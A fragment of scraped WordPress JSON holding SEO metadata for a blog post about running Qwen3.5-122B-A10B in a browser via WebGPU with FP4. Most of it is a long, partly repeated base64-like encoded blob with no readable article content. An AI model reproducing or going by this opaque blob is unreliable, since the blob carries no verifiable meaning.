standard","hentry","category-blog","entry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t<meta 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Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.\" \/>\n\t\t<meta name=\"twitter:description\" content=\"\ud83d\udce4 Release Hash: 19c6ea4bc652d90c87323768a76531ed \u2022 \ud83d\udcc5 Date: 2026-07-13\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/fabriziogarcia.com\/wp-content\/uploads\/2021\/02\/logo-fg-metadata.png\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/run-qwen3-5-122b-a10b-via-webgpu-browser-with-native-fp4-full-method\\\/#blogposting\",\"name\":\"Run Qwen3.5-122B-A10B via WebGPU (Browser) with Native FP4 Full Method - Ab. Fabrizio Garc\\u00eda Bacigalupo LLM. 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TGi8J8Qt7RAVogjNm9L+abOZ662zZMw0VJ+ggsLmGM+BmOryZ85KkLbrHCyAHp9hRtorKyoOQ6gq9iuOYUqOfQMsoe6Z\\\/74KXHoUZRWt+oi6YzRWQg6By0LCk2zsFOyKuBSC1j3gumBVk+ECvfvCa3WBL2Fk0fRHJgWFq2aOgXHMMAl1dIfIMDTnuj1OQ9VuxPOR\\\/hXrVN8K3qXWNjekNOrC3iQ9yA87LHc6HK1Jaj72e6HXeUj3lBaXu9OEl1lO3zIOCwfM5KcOvO0xf6E4sKY1dYeDU+JJuywgrWPM5OZe14PGuzFmfVGwbMHFyPIJcoeYHqLEunlWebk8c96ycn74m9iKJ5biF8lUZcNZk\\\/4fJkmTj45Wo3ix\\\/r+Z\\\/fID2zeIVvJ77uDnkzIRwKTee5r1Xj5EG1GvIkun5YD06N1h8aH9RldgCv5lyYaftXbfzRVHI69gThYbjJS4L8n+QjcQGnqPVCnp\\\/yZjD\\\/djtsyO6Z7tQ057F6rexjO\\\/5YsHNlsX5XGcknpkywnwJ+A1EacdRXfotf4G+EFkFZFLK1kDDZQD8b\\\/s+o5Q0e79I\\\/0PNCBnfZiNwvkUxnvP\\\/FAYWhcfS89qdD3MPp9B43I2ORcfQnwBcnn3W1tzV5tQ2laHiXsnAwEuNGJGmLi4ackaFygMsKmDQoE1GdV\\\/GSr\\\/2VCpGJBZG34eTsGm3CdqWOpRGY9aJmWN1EcguR99HsY9lTnpSsDPICX1Bw3P\\\/9zJkHaaezGYgEszMai3PebdJ\\\/8l0l\\\/wnJBiQpV4Dvi\\\/2b+jV6njLNwP4w+G1ut7kd0YbxWgSU1lkENquaazz5LJTunlj06V2PJB8gwhbOrEPl14ZZmTDmvhdZwl1hIbeqRTVR5MTuWB30gCIEjj4gVC6aSUtJJEAA44TkIaJZv7UWys\\\/FeZ3VR64nT1C8ruX9TpdfcSWrH13iVW4Qna6+0JONUv\\\/23pzEKMtZtKWuUOmZ8pcS5GmNNn7GTLNhQ7ZUtJ+rUheFYao631tQIX44WffVBFBxSdkHzEppzV3GkN9oc14StJDOHABWakoxAcubW5UpYRghkVezEutchVENrey8Z8FD7lwP\\\/tSfNtkOydDbD0R4gauPJgDTKTJnWtXahDgmFqijoKf5A3GlXsnM5cp8xaRO+GRAoFQMnBaNEcNXypuGNqFUwx86RLMNG9oCVuh1dSdlUKFdNb0NiDW7a9OGOwVzLC3o+YuVy2mHqcEWpQp9pcthjG9GUE7DhsS+b7a3Vwewl0+H9zw1oxEZnpH7p2uvqI3Gsos\\\/IHfir\\\/xGncQDhcHhoEb4BSppehnWTSzXHcuT1xHBbVe60uX1MFTDJDcEBUtn+eJS4y3GniULW1Tu8jZNK\\\/\\\/IW1fSUPXp7NYTCDANNyCSd4vhFsaqNNv3pRD+PMCYr6RcjsAaFA7hTL1Ni\\\/IixnW7PtXCYDwJL6qDgUpPHVRTZsPuDZcjxEuu3mfgh6ZKQA6SDycfokZ\\\/BjkmdUXBU4QM3Hry4ytnEJC8\\\/3jm9Bx0M2orQ7kFFpbii9CZ6irT+2ba9n1mx9NO1x2HXWHd+PkU+jBxotIXe+E0OkwfFS1cs\\\/pv1R1mX5+1Oj4v5cDKIAx3Qk+w+NTEX3huqraU2X8Y1HEu+CMlGYo1c37TMiu0UyGj7VDxEsi7YnqaYHWFWBX0hQhhe3UM5MDByHVuhIBxvjJfHWPnJ5JXUtnCMxkPkwjAcQK6jeM4aoNacXL+FlfIq+j7O1OXT1WyqQAygJ+J933VsSHJsWIzZJiHAg6v2rSVJ0QeONm3VMYDa1wm\\\/6jqGvWcdwCDkvzZ+MUfLhCJEqhwlga4IRYlRnTBUFvISBFnbMDuTmcboDK2BNnRDnjiuVXnJQxwaNQaAzluYceDcuoYI7nyvSq5W2\\\/aUBmQDgUFjvmi2Z7qM5xt5NodfCA3m9BCzceKk6JwDyDv+y17pAaGbh8letVHoQnRaI\\\/8YUSQPu5NM5pJhUKuVXmf0EspNSMBAkgvWVnfsTuGqOfpjkK0yTSz32TiCPuzFRzqjuGMIOS9JqRYNWCkSoDXuZwNEMgKUKzDGyEgL8ljiei5u66ck39Fj+fDqJxuPsaANWk9W6FwOhpZNgdmXaD49WJ3MGJk5jKvSa17D8qqsjio3c4cVnFr7+\\\/e4+4f+LJVPFinei3FpLOzgNRsqSsi0m+jXw7oWchZSmnMv21CjgyMJoVSzXIZCXrWN4BaasLK6A9tV8wLSejLXHyr2UcGXE7RoOHmqrVHqZfvOjTGiiA64813f42o\\\/pvz9F\\\/N9+jh68XZ5zKrYoilqfD89W20oaGT0rcd3TmCGlk1xD299vqPSKftYzY8nPTcVV4j4AQqH58Og1voWlDuv\\\/Oxu2wDxZivSxzde9HAtkT10LTBfPhbqPJtaufy9x\\\/iDU9IwbzWtsSlaHoLFTfED9pywqml3r+Ht9pcU72gEc9HP4I8VfohX8H+iLAETG1W+4fiUmOznGIOrCT0SoEjxN99wgtjBNJBx\\\/Jk8FLvF\\\/goxaWkgQP5nSa8gtxk141YVKh8HzkTHOcWfpBSjJbKIM6s6dbrIwVLrErRSRXhryCCmCT3pPxrhBVN3MMajJiXLd6SBmNg2WqgzsVcrT0tQ1Y8gZx5ZDlIH6wEUyzTKVh+g0PtOVEP8j+Eje0DgjXca7ejyKGJnsPV0iV3XZ7aYv7iQ2wmfaz8ydbNkKNicEMiH8BiaHcZTzbKVNTXfUeUx7iMkEiBbHaU78h2Pf0aITGjWgYPR4VtQ+NKSLNZT3J6Zyj+9Qbx5U5t1UtvNXDj23m\\\/ane5z+QmA5qasVRL4sRv0YYJ\\\/M928u5NC3TyUPA1bje7xA9dazSud99hhUaVXyGLNhuml4oyDEAsgY\\\/ft2zw1BFjom2K5gkvRK+IV3VOscOKJVCIPnXvz9hBXnlyeNRN4z132tyeH9HNeyQqb6t9ofD1crmLoUrb5Dt+aDHximc6NzqQecREtkxGpB50RKVYm2OIfYyaE+pkuyWXQhWfC4G3TDvQUjMCqaGvN3\\\/U8vTYz54Ue\\\/qyI02fsN6mtyusjioknucVLP5LY7p+Cg7hAzUj\\\/Vr40hhPWY6hurC5lVScKbC9WKZcfioBOolT8KkP6doXBSDmpw9JA4AqlM6VjKId9Mz2wswbwB4sTDkP7aQfXhuH3bMn\\\/9fPFIt0vQCwKFETUB7rmZc1X39T2uiBMvcM7nVVB4CjPk5knFwENx9odlNuv4oWc1WgPBD+yuqc\\\/iF3bfx3dcfngYm1xqACTuxNFh99gc+oELbCbY4u9LLqTVoRwxDrJcvT7kfMsyWOnJWXd07k7RRhCoNkYYA99COPHI93pIpOT43Vvn7uagq3iRzP31FFWDA61ADkn8RuJEMZdygtBwdTDj9N4KLTTs69fe+PitUyvHVzcVTwzdEmTW7U3FD5G0Cs975zzEfppkbE+4j\\\/ub\\\/4HmQe+OTV\\\/5zxqq4diuJk+NVdMlvWNWMxwrJxxmT5YfV3gHnrmMSTL0P0wL94B8rPidFkkxTbcu1C8n0M8jPt7WZha6cK1SiZg6\\\/pDhpUDLNwyRQzmhHHMbE3AQVVnpd8KOsw8Nv5dk09Jc\\\/TNr0BxiIi9eXyqZai+D\\\/KTcSN3I7Aul22VglSzh65E7+LdnmEcVzD+cWEV85rP4PrfVIACt1fN3G8W0ukMSPcC5ejxcs7e4jB1l9GdI+bYj52Z8fJEfT7jfXIIdV2N\\\/5N07WY02o44fMEy\\\/N6MLEQgXiKcYb4XAbjlgVTJKT9peAH0gPHHZt21I2J8TJ5w4HMbJGTTSNQtHc\\\/qFPBdih7eWTrDyeBKRexJ0Hf3pok95+09yCTn+dT+Chcl+7YDsinGw9fjdidZs5so4cqz70Nucs2bv+vcWIgGi+MqiSfCBkxeKLfG\\\/YyzeL+ySSeDF4ho63Y8U6OCq8nugULvtJZPBeKBOGsBFUs2OcU5Ojv1Hj2DYKC\\\/Z\\\/XMrErCjyvm90NKrqhrKMQh0rsIetcFcWilFFOE\\\/vLis2jLUGNsj0bwrKJC49EcixJvXZ9VavzpbETVnifZ7JO5Pvo3ElkagrN\\\/8dleR6qN8Ybfx9UNsk8TBe51Qzb+AECowUHAlXf4wQqfwtw8q3MuuAYRRuroj5u6dFFwgTDRreITRMEgtZXm2AtFpiJWujMOc10tJNVHgDChBXcgb+6hQ5OeDkeI+l4YnnhGZtAz26gRUegnBRXnxlgJOmnA0mgvr2OUArTyn1oEOoRqILqRAdX\\\/TXBFFbhLeF\\\/ipImhxaGnYIIQ4X4zOHAk\\\/O64hTrqG0T3G\\\/sJNZ9L9UljipTS+qSCnSrQB9bXrMUINoyGGWxmiIeA5BqCoRdSTvOpQG0luLqEQ3GWyqqOI6VCGZ\\\/iGqbDnBvnkqA1UCZQkLt\\\/X0y5MOUxj3f1Y7PJeqTUnWHzkkEEbWBP+Ym2hOXqmA90FB0SEILrb8srTjYyxym6E\\\/eoRJsO+MsJlHlLuWR0+PyPuWpWQdPj9SjZPkiPHmZ3mR0Q507FHzrAoWX01gJBHllJP21OL82GG\\\/8BJQFhMu0CcGA4FcKh0NeWqP29PPBoFrVY7EnXfi99UvLWBB3ViM83Rfx+ynM\\\/K\\\/GJvUto2jNcLZpXk3Br70t81PwJ8TxrJkMjoS\\\/olyqPKvmSPhGsbbz7qNIllkrali8iNL0lOOquzDV2BZyzpZqom1N3coE0dsck4Zm7c9RMOYSNgBSpu0on+ARpF1vPj7wHXOt5lXkHS+j\\\/CGux12cQMzZS6Vh9j4lhf1RPHzBoy7w4NtokBvF559idb+9be37fFvuj4m7p7GXTuiTLfixqyd3bNGvkGeb78dRyS88BtQ9l1cbFrhoZixwbxoLeo6yOwxKydNC62k\\\/jdr3OsaIThckR1+9BwHCQ++9xLW0z5gJBUZzSfvoNPHJQsK0SH8GKOmpQ+ZFXfIdj9XL3F44ESdKzUxIQoq177Y4vVfG6kp+852\\\/ugEdkb\\\/8cfH5RzysgWvVcsDJZifrIzvPls+H5M69eNYPfjidbLj48sbD6S4Kgskmnkt1giFj+Yf8gnX1FM0GB9UMMeKIjqqtlWSlyaG2+9F7+wx8963Ifj6N+hEgCG7\\\/ChiOplFuWzeBBxfHUSFlKwuLnDYWx1U42C9a+32743NG9B8C2uU8EQVozQCyCv5f0H9xjTuytrHejcNwgTSxl6M+4yHrf\\\/NECEl4Sa6BesJZHyUI5Wp0PicFXzImtu\\\/gm\\\/P4j4uTnvzbhkqT9mhr+PgexFdhkWeZ940VJSKjh0WVZSZgTCf807DjaLcGGKAbUZT0z6u0eZFHyuXJ9IVlmaIlSY2vwZ8WYUpUMIzCX+P1Klv5DvweXsELNnB1vjezEbdWeph\\\/Afz0L0m5OjE0gzn3idZHPfjnKeZo3XrkIiwE2f7OeJTum+n973pU2RsWXMUtXVx1jPpg4hFvYZYBONvbkMzqPoNGfmcvy0beDSx60L5EpwKNU3jzYelg7xv\\\/U3dTbKp97bw7UpikTw8WEXlFwoXpmx9r\\\/yrBfGtqrZy9xm35+cQfbznCckcithTdkKrUXE2LfSU1R7x+Aj4yJ2YcU6R2RzGBnXmLXuGp+cGxjtpRDoJ1Y2SGTSXJdD+eRz1l9cXk6BW6BGQ\\\/ppOUyibmWzNHtEb7Wb5k1z2\\\/gQo\\\/1QLjRE2bT8nRfVqeuEV1CTNvwAf2ljkQ29fzpPACVwM5Db87dblKC6uqYBG2j\\\/hrcZ7eIlN5My+qdzXx0WlBiEOAw7clgoXOtkcgh9lAqVQDjBA9vsaBuN3o5s+qVwFVzatuGI1qyATD5SSSlcU7dNezUIIWTyxIbzTMA4KLgYaSh2ZtMXFXlN0zNm0KfREakOxdZKXLi+yoTQX3drF2yE9ve4Zbvt7NHkGB1fOCGwXXOk7bNqN\\\/0DszuXhU\\\/AmmoSBmSNFpeEeY9RBfSJIY3771JIxJIj5wRbNJJLLlEuKYh9hCaN\\\/0b8\\\/cNNEZpT32w9Kszxmj0NjS0dzUSotfCDddSWSLCouwYfflsM4UqdulNj+drliRqUeA7rBgStPzUeTBW\\\/Gjj9w\\\/4AkVk9pXU9ycBBukWyaM9aXPXBXZohCR5zEt+ThJ+bgmpBI+V3XtvnG5esSGYYVY1Bq7qxVAKEsdLQ89ZxDpNoNHpovEq7q\\\/38riwS4Q1OQwq8kMyIJSY0p+rJT7SEmisEMi\\\/9pBMIuBEZa5xf+eor\\\/aWCGjBe6\\\/Wh0gabu1Sp9YYF2RrQFTS6Mcz67sEobqBcx2Tjcoi1LIesrPKxHBfSe89siNSwhnrcVXF8pabFT\\\/xifnfeX33J0EsWIj7OCcAG\\\/co6C1+W\\\/bOGcKrAT6pPP\\\/cNwoIL5vD93Ejj4HdEpmOMYwiFMTs8iCf97omuMx3QU8OFrI1EoBZwoKDz9Hxxmyqr+LrEIPAn0+jVmzw0hswYJducMEZzGE1bO23ZGXB2mEUTJnbCiCzKpmbd7cscq4WO2lCYhTSs6R\\\/bSpERp4GlEfSowLPmgnh8yZ5Kj0NpZRTrEpnWX1+VvJV7VtH\\\/YgSr+fRobG6PF0OSKePBfyL9pNitoLDIor3GPaANiuo56MvRbktwVhBOydvXYr\\\/gdsrKAYc0FXbzkQXFstkY28nVddtcc2WlJkf1LN5+TOrHRAXKzLlz15BzwsaqEidFHxVtZ6Q2A3amg5lom8n6gW0mp5nGQRfecVnGPjERg7IZPYi5G2SqwK4Mxx\\\/QC+8Y7k4I+517+MhEAJWsj4KkuHvr+vl4gcvWJafSVdvG2hq6JVehKV\\\/rEvXWzmot0bg6b4rNtS7wIowx5FZO5WSfSev9JRsbjaGuNysyFEEUQHZQ5yHSfHLmvPiGVTz8uqvEFRcAe7zdqzG2YRiKlA9XXaYC\\\/By\\\/qLNXqdZkfJ2wy7bRyM3\\\/PNU3XGbfpUF0p94VGCjHXrI0\\\/\\\/DvKIT8041uy83IAChXOJweNiufoP9xB42PR5+x1ahbQe1Hzmgqmt4mxAkbCobWW58Tk95M1zko+SyOS++mpj8jbdqytZF0Cp8Y4kjjtBqJ8B6Hew9ahViB7BqpZ50GTPzyfEc38UObePkruo3J5H5CDW8J5cfKtWD1tKcLHM43xzjYfJov50K\\\/TMqgjzlPvxUvuufwYvBnQJCDjC7sgBeRwD4m\\\/Tg2kotr\\\/vq5kW2k3e23+qhInwA2UFhBCTctdzQ4REWBLfMkERObcq8PDhywIxXoaf9J7xzqZYkruCVSuREd53T6Ml6vfy6S46fqIif11Df3UDNT61VJA1+hwP2+9XekDPf23qeZwyJQb5OWBWnKViqIKQS0tI0Mz9iIP8Rnm3B76z1YXpGHcz06SL88VDCbFVHJAz2bqyR5ah7ltwYRPN1ONG7cyzp411KGI2nYVZd+hkvXvZJyGkYEWxCBkMfgEiLdZcGzhDRwOlZfzcBfI7vrrNNpf+K1FP3mEJqp6DNqs81j2cIZdC44M4HMdSpbqFmoPgoEux4tgw9zBxdBIlxnTMHhqiYHbcAXcC6urbK3QuIfP\\\/1MBByyjMUi41dwZ4LOLC4WbR\\\/D02WDxAPx3tHVLjfElEMGjTIRLRdJtrfaYNM10Sxa0n7KsYyQqvUGF6DkpnhUYLjDpS1tZW4a2yPyBVXiZP8S0Dl0BAXdvTw+bjaAUzR2FHazFmcLS5gZXBG7rj6GddDcsre6PRmVksRchk2hTArPSVeNrXOtmH0\\\/0yzRVQ4gk8EdlMLTJmq6FyTLbx2TG6J7fPGrcbwMG6s2qWXjFbCxfeeJvnqIvSSQOW106a3ChvZyDdQsLkKetZpMyPYZwKksNeqyV\\\/UMlyW0Wu6qRLLxqs1JV34nxb3y7r5yfXlr3XKrj42vu27X9YbXoMSknvrlWz38PEdFHZ7KcSVgBb1R+IW3KpZ081Yx9XByxc9NR3ZStoieDkelnHrQwhr7N\\\/njpnN8FvoQv6FjH9UZEbLKULA5AbBwrIr7mXXI+QGmH9UfnKi9+le+m1AMV1QPXsf\\\/N24aKxPJeIQRgYXy4r543Zjp3f+61rEsAW9v+BDgjJe6S6JnRTT0OAx\\\/\\\/LJe7OV1kQicveZ1+S5ca2Ch61YUAUdSCofH8ONzM9pl0pcib1rKPi963UPwhzrziTjrCZZsXt+J8inogdYIiPULm3GYBl0GX6xaNsk93vOF1Kk5lx0YwFQTctBIDTEw+kI2Kaqwm7M\\\/wIxTiD1xaT0s4kHbIh+b7GeDCK0yZHImFxcJ5fznWkwdo6lhCE2MuI8z8z1KtJ9HPZMSWqsRhhLO9veOeJpEWqxj2N8GAq\\\/x\\\/XQtRLkKloSl3HBsfJt\\\/Sg601xgHhV03zoXZWcN2lmXXglX2l13gvwT15k4BMyva9LxUiM5sLrsLBapmruMzoOO7OV\\\/bige3n26Jh1ccYApEeX9wNLlj5lwd1Q147bvVCZ\\\/rHG2g6bYeWdJ7PxoyD58ZV3Mbu\\\/4FIJhDRWz6iKQxDFiO0ifiTwJd\\\/ktOewXc9dgNskTMb\\\/ldFtXiey7\\\/Q7xljG\\\/nQlRKoOfMSjj1DyG+qFOTmFXx5fHxJjrTAjhf\\\/3mU1WR7\\\/70DALjeWtyL8AR3h2gU5d8auRx+kSIUWVRwCKdXEABRQQZShpGak6nefGPjPWuFhnhlODDopuXQE7xx0kQy23cPe3kaEwFl+vbDHT0Vna\\\/e9U\\\/xidhQC2BOlB4t\\\/h\\\/WV1DYrXCCHlcSg7MFbHAWOh9akFSB7VRVzX+kU5d1XfM94ardV1O3zglv2OTbOnVF2IdmKSTK2NiCxhCLoLmt2khke4XQtHnGlwfzoOADsKUOHSJU3Lun77Cx\\\/gTqz8heEh4qBJW+visGbptLRhEDrWVfpDAWz2XfFvLo6DEinTeMbiEpIRWuRD0FX8oMugqo7Lfb9Y6gQK1gUabDP6xmzxu37\\\/4Y0sBW2EbO2bx7hGL2ZW0h3DxMa8GvsX27381p4tQa+saGDIHKHs\\\/RuvrZJnqSbYHCVey\\\/zQFiJIOqiJI2bBv5wHxKWUk6oUW1DbQs782AYd4vHjiUDN\\\/qk2SG8NE9yFWUEwDzRuVcQ1vDVEpVGqoXmFyMP2vozTXFwq5lKF1gi1ybxMcJTGz1vlPJpVseoCwclFbkjhYof4Yf20k7ctCfepKxiQFR11G5jUjQUKY01IA6jFsUvRD\\\/b48DMkeslnTwYS3jhtRQf\\\/US1aZLzK4EsKiFBf32py4qclIKOglpj2avMl8FTkiw31+CdnWKZ635jQHp7juYIZ3LMGLamUxTe0VUYrmVEBWYe\\\/T8Fs\\\/\\\/edmFivOTXVLQbEEca+CkMzW9kRr6iJC\\\/HVvGGDfGiZMZ85TnSEWTND1dJj1D7TYFVoTUUQuH\\\/F2vX0bwac\\\/PY9TmPmMwE+fKFqQBMgJn9UfDO7h8RoIeeItiV43sJlYvo+3mDgIkikw3\\\/E4gsVXrKhIZdwQFTz9YteoV7eViZyczN9o4b3bf6PcmCMp2s+WN7iZygQUR8tNhn\\\/rfkorULz1xQ4EXxEVVoLrwnKsU7fr73TKYwiJphVIAkYAAEnYkE1qKfbRcCvgWS3ARlaFOibPhGFf73NOw4oS\\\/mhs8a0Hm9D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TjaHseV8W\/BFEAP9mE1GWkrb2g\/pr2r88A7guDVf2\/UvOF1MMrHLXI8pCfntr7h6\/PLmG3M2uWKtOsarvY9c7s50QY\/wz7Q+22LhW5SBAzViBsoWr4hm3quM1qKfHPc4yxxFRQTE9JEmYy56i2qcsn4jcIoId76w4YzfJy7MlIkpk55frIouTziNzyRNDED75AS1f\/4+VC0g9RpNlqAV95WkDODLMX7YJmXr\/Cs7LkJwKS8K47\/gIq3pYS8TdKsfz7TwtBQu7U5eAoM4SRZp7pI\/mKQ7sGY93GJifCf2nm6VQm1dDHYIc8jHzJjcnSDAMyGkyQ8JxpHVul+9mOCQ\/hdYWSqr1jxh67+xWNdP2t1gHmazUv30DPqtWpNXrMRzU36FzhNKP6IWY\/i0\/Lb56d0szBTkZvIgIvJXApVHiNybldZRIQpnbo4n91h49\/hwyW1rTsHa5DMj8Um9ukAK+m6k\/3SHMI0I6PkO4dzJMy1t8o3VfQm3Xr4TuFW4YYbwLbrW7nY9dWcPILJjxB44I5m2Iq1qE6498Amd6U6vSGv\/o\/lDcWto9acy+Ed989jqPqPdj1oDEdLGe04AtpuSLtEfE9Y3b0G9utiLOVcLQuIUNr1QF77F\/Nmd66+op+KzAhtTChbcu7iahQNIFwkLKNUJYBuEI2aeH7AVmvAl7Uhe+S8tIoSgFSjBSV4lxB6EncBPrq+R3OYxa2MN35HZ56BpsZys4YdtmhQh\/4cTQj7lP\/Pgn2wHkpdEVAdjyLeO\/73B8DeovF9+CzCVLLavz7YR9qXCKCoY\/QejVtkTeENRVSEAhxrA\/nNVAqSOq1YKKzcouF2lVr7c01HZwsLJqn7BfppX4CAGgb9NiT+FxKVC39TyB9gUUS9nvjhbYXCkai0QOktUcZmRCtaaVx5uTNg7xTf74BPTNwT1PxBZyhGyQlKbSxi1jCBW3MplAziRYl++CHL67x3HneXO8mY0ejEofcmqGJdia8iKy7Rx1Nm3Jg5WxARZdKjyP6ZPIjEdHj+2byvNA083wA41pwnQcyLVoudIdQNjOXRxwDftaD3tJy0HYQL5\/IcfBobQpY2U+YbRbzsItBni6bGrp0MGVtR\/aBC9dfKJOXzoZ6KK9Ha0QDdPw9NX0SC8FnrYmcEumYhnx1W0yHYAyVY+ABeJfNHpd3oXmh68xua4ZDSfDTEIlm7gUQYfgVaprUhIuJ959VBe+C4l1gyx5RCzxruHcCVs3IGT3nJgN1e+JuCmqaSpnBo56mO2WiN6lx\/8kl5EF8a+uzzoKG1EnHqqMAjrSOl8M8qfPdlj4w+fkMt4cD+ilxM7bhMzMyDMPcZtV2tK3w11k4zmXGT9xkZ5cnIubS3muFeUhrQORdOxzoEWmMe8NoQt1RLKtv9G\/HzZYUbQT5E4X84tBkZqLxRL9PnKD8WjCTCSOZsj9uG55EE4s4npyA+hTlrPdgyYpHKZcAlEUwRWFcDjE8+7CTuHLOAyle+tbt+997rz8rdWcIrjYohl\/JT3NAwD+gCrbl4RQQJ5Pzqx6mEsG3qlP+nMHgBoWEx0NOHIF2y+8xM0hIhk3d6wrNwJUThSs65BCbmj6xvR83AZqmu\/kMeHW8uhWHuem891GsPZR\/jz21CrQL0juG7fHYHLutlvVKt0waW0acjUqaZgZMX2+U1EK\/c\/14L2Bkhr25nINLwYcbGFfynLg+Puaycsdri0zs7QjxKNpBNqkS72bHLoWSzTBSbB97WpAujGx3golVNDRRiT4i+zQwuHO+YgLVnH9DxScjORJLNHyXe+TH07yzyMy2SCIad73ytIsyZyF2+PtmnafjEVn9ILe3vEIwCx4S5nSoB069P+Vq8Mry7fltggVglb2BuEuDknx5BW0KSnz7iomTCi5aWS9oNgeyEW3xBU1e3WvlG9c4K5AWs1OS\/u9QJ7gHI9GtrZkgfweF72PtsKE85WgROEkYx6CxieIsChbptkrN5y4kQ28k\/lnhaYM+YRb+HTizDm+oYILshJ0J66dLipV5NV+MxLhgM+VwgZ\/H0pQMhBjFQa78kU+CWxE72JPCfu4bVweFpmw1rMVVYgnw30H32z5oWs9UYpsFslbwgK93gi3z0eaa2WY5VVdqAnVL0fDQQuG7XltblqFnVlrRvK1Lk9QZVxF\/uBnwq+YziRGCGiQYfloQq54rHllUJmuSddzXXamrM\/rhds7w0Swj5qus2v5xdwG1fpVKciSU5mn+SVsnBHlTPBH5itFxyuqE8+8bD43wCGqmmvtvvI8Sf7KEzlItbcjyOSdWvnz8k5CAJRHAkaVW2Jcvyb6lxPr8S1MuTJZCswbHdUaVMEGUeKtPA3RM3Rf0gohDihvseaI8cLaarrXJYNwgzKRxNutk2soX19oh9ibLwIgflu5eXRwwo+Zb8u5MS5fZuKyMsAJHjzKlYIidppiunHhcdp\/SG7FUYERdwDkMX+rL2YZoxTuWEanbpLWDlLQjUnpl3WD0kTwa70Apdn+ph\/l+KxaJP\/RVoWW5IevoaHpwQvSXkgel4WRIDG\/j9R5UQW5zCmyQBLvsoDgYD15iosqyyl5rHsCx65rkXffFIY+sSlnVe2cAxOAoZc7Ei8l8BTB7Z0h1Nf1E0ldaW9Fdkj8RjcN9kqcQGu7w48i2fiJN2vbAFnuSb97IMHDRoUJWzha19NTua0M2UHYSKw4iSr06iaxRmdJaUoUHF3o62yDWTT892K0kTNCdiSh+7qLnljTWymyWNax2To1KvaYbCtg+0Q5itYxPfoG+LmYycK+eNFwDn6J\/s\/wyZ7ZozsLr3H4oB+NAp3yWxsuzRCqlF+kVY3HToFTzcA6hW16UhzRdbDp\/w5qiurGZIcDKeccz3WQYMWDx26\/+xGB8WQdjURXK\/xVc2ewW1\/agHW67BA8oaa0YSkrNL3UJg8M7tFd9iBDkzl4ef1tFFceHoJsoyj3TiIxPQNexPh1LW\/GL\/9Y\/u9sF4YyQLrP2Oe4H21reE2PEiISRxGuH608cvOwPo2KFaIFQAgblQV\/3Li7ubKkuaLQ4bbzQSaRUu3Zos6w7J22+HLKjzISfcn3Md31Q\/wByWz6T831XwfV61w7J40fqEpePzmDofcn\/Hl+U5G0+\/37G9CSI++BIFQOWGYHMgu8M+DXILcVf7Rzj29JenVQ+KZLWciROgTPLdobkHKQOwJ1qxKakCLlr0hUkR+wwCouyyifJcIwzV5NonuiiugVo05Q9gxq8VMTRxlCsGf2Nh0FdnLsO\/WYgOhqZTIdL2EuCImUfcF1uDcCJQ9kPuV6WtbsPr\/MGB4EnuznOwZrNbuGvIiJNtyWIXSAQYZInSeAbu+SOashPNZDDifZaOfVVZ9QIESEOH3WscpS9NDnvL7\/suHFUi+gHkBI4InyQ9PjkjuQk+KADxdi3XpqJegw7AscQYKlNdcgdJLD2Fk5OK7UI+AryIOtBSggaEPDDrPXu3IhiLhL2z9gG4hyjlPDaCL3IsIxYTtA0WRTYfHOL70xn1C\/Aybx96pV06UROAnHhiGKDtuAj3trcSTvixEyLnrSb\/C2SfuhENJgmIBSnQVWVEX4EyEY+efNcCKMEduYVhq\/pxM9lkL7ltCWp9aAJx1YTKHPqmHDdWFtyytzP63q\/nVFSqFBAkosnDKogYK8abYbkGe+5ZquyN9KpMsIZ4FnsZMBI6pgwOquamo4gAb87v9B3981N8RU+ZHm+OmxzOwv8LHaj5F\/xVrAoAJ9k5uCiuPS0\/G\/TUvO5+XCzq7LFHfELJjvBuJq1+Dnj3igj3E5Z9sP72ZQZ2BQwC0CX5qjC5J78hFKGAJMq8vEmzHF0qq2YXb14iULoC9NQxQKD+5nhetX2pwjVcU+QHL4fifhjrtJU2bNDjyM2huTBDpZiuwCwnu7Zg9l395H6gHEceTcPpuL7Cw+0W8QPM5vecaZ1U5tXnT9mVbMWa9s1rI5VH0Yo9glZ1PMQkPFrPHPpoTd1Ausv\/C\/5Je+wQjFS581x1bN\/MOR84qL3AStPrixgV0iRXTra303cvT3QengqIn4XPTPiMio3yviU\/6Wq9\/Qhf3YCvdJsfItt\/jFbOUxft\/HUjeKB75FRdShNe9BPXv0u9cHMj1FK91gdsoH3yCxXDBHmh\/VQfOW\/Jk\/\/gwx\/1DCv28qXFeANiF9bawg6kATt8RCE7ifi9S4+fDwBOARsziuIhMYPgdkI5O4BloOKZp516zQvKpsPYwOSXAVxSQS26O97ZAPChBLzTrozKZuvst6Axa0Rx0nUmxxI7Ypbhhc91vbl0kGTR8cTz\/OZjHZYe9AiQzQ\/\/KgKTLMWLcte6YZQqXyit5qRLEGvrzIjSL2wsC4sLkEfu1nni0jm15U5v+ss9o1eP+YYfP0gNwkbp8Aj3uKbbxl876swTGi8J8Qt7RAVogjNm9L+abOZ662zZMw0VJ+ggsLmGM+BmOryZ85KkLbrHCyAHp9hRtorKyoOQ6gq9iuOYUqOfQMsoe6Z\/74KXHoUZRWt+oi6YzRWQg6By0LCk2zsFOyKuBSC1j3gumBVk+ECvfvCa3WBL2Fk0fRHJgWFq2aOgXHMMAl1dIfIMDTnuj1OQ9VuxPOR\/hXrVN8K3qXWNjekNOrC3iQ9yA87LHc6HK1Jaj72e6HXeUj3lBaXu9OEl1lO3zIOCwfM5KcOvO0xf6E4sKY1dYeDU+JJuywgrWPM5OZe14PGuzFmfVGwbMHFyPIJcoeYHqLEunlWebk8c96ycn74m9iKJ5biF8lUZcNZk\/4fJkmTj45Wo3ix\/r+Z\/fID2zeIVvJ77uDnkzIRwKTee5r1Xj5EG1GvIkun5YD06N1h8aH9RldgCv5lyYaftXbfzRVHI69gThYbjJS4L8n+QjcQGnqPVCnp\/yZjD\/djtsyO6Z7tQ057F6rexjO\/5YsHNlsX5XGcknpkywnwJ+A1EacdRXfotf4G+EFkFZFLK1kDDZQD8b\/s+o5Q0e79I\/0PNCBnfZiNwvkUxnvP\/FAYWhcfS89qdD3MPp9B43I2ORcfQnwBcnn3W1tzV5tQ2laHiXsnAwEuNGJGmLi4ackaFygMsKmDQoE1GdV\/GSr\/2VCpGJBZG34eTsGm3CdqWOpRGY9aJmWN1EcguR99HsY9lTnpSsDPICX1Bw3P\/9zJkHaa